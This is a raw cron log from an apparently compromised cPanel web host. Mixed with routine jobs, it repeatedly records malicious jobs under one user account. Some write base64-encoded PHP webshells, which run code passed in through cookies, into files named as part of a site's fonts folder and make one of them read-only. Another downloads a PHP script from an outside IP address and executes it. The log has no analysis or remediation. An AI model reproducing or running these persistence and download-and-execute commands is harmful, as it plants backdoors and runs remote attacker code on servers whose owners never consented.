Sep 12 15:35:01 ip-184-168-122-23 CROND[17941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:35:01 ip-184-168-122-23 CROND[17936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:35:01 ip-184-168-122-23 CROND[17942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:35:01 ip-184-168-122-23 CROND[17938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:36:01 ip-184-168-122-23 CROND[18036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:36:01 ip-184-168-122-23 CROND[18039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:36:01 ip-184-168-122-23 CROND[18038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:36:01 ip-184-168-122-23 CROND[18040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:36:01 ip-184-168-122-23 CROND[18041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:37:01 ip-184-168-122-23 CROND[18146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:37:01 ip-184-168-122-23 CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:37:01 ip-184-168-122-23 CROND[18147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:37:01 ip-184-168-122-23 CROND[18148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:38:01 ip-184-168-122-23 CROND[18239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:38:01 ip-184-168-122-23 CROND[18242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:38:01 ip-184-168-122-23 CROND[18241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:38:01 ip-184-168-122-23 CROND[18243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:38:01 ip-184-168-122-23 CROND[18244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:39:01 ip-184-168-122-23 CROND[18426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:39:01 ip-184-168-122-23 CROND[18427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:39:01 ip-184-168-122-23 CROND[18430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:39:01 ip-184-168-122-23 CROND[18432]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 15:39:01 ip-184-168-122-23 CROND[18433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:40:01 ip-184-168-122-23 CROND[18527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:40:01 ip-184-168-122-23 CROND[18528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:40:01 ip-184-168-122-23 CROND[18531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:40:01 ip-184-168-122-23 CROND[18536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:40:01 ip-184-168-122-23 CROND[18535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:40:01 ip-184-168-122-23 CROND[18537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:40:01 ip-184-168-122-23 CROND[18533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:40:01 ip-184-168-122-23 CROND[18534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:41:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:41:01 ip-184-168-122-23 CROND[18634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:41:01 ip-184-168-122-23 CROND[18635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:41:01 ip-184-168-122-23 CROND[18637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:42:01 ip-184-168-122-23 CROND[18718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:42:01 ip-184-168-122-23 CROND[18720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:42:01 ip-184-168-122-23 CROND[18721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:42:02 ip-184-168-122-23 CROND[18723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:42:02 ip-184-168-122-23 CROND[18724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:43:01 ip-184-168-122-23 CROND[18810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:43:01 ip-184-168-122-23 CROND[18812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:43:01 ip-184-168-122-23 CROND[18809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:43:01 ip-184-168-122-23 CROND[18811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:44:01 ip-184-168-122-23 CROND[18988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:44:01 ip-184-168-122-23 CROND[18989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:44:01 ip-184-168-122-23 CROND[18992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:44:01 ip-184-168-122-23 CROND[18993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:44:01 ip-184-168-122-23 CROND[18994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:45:01 ip-184-168-122-23 CROND[19082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:45:01 ip-184-168-122-23 CROND[19084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:45:01 ip-184-168-122-23 CROND[19085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:45:01 ip-184-168-122-23 CROND[19086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:45:01 ip-184-168-122-23 CROND[19087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:45:01 ip-184-168-122-23 CROND[19088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:46:01 ip-184-168-122-23 CROND[19177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:46:01 ip-184-168-122-23 CROND[19180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:46:01 ip-184-168-122-23 CROND[19183]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 15:46:01 ip-184-168-122-23 CROND[19182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:46:01 ip-184-168-122-23 CROND[19185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:46:01 ip-184-168-122-23 CROND[19186]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:46:01 ip-184-168-122-23 CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:47:02 ip-184-168-122-23 CROND[19281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:47:02 ip-184-168-122-23 CROND[19284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:47:02 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
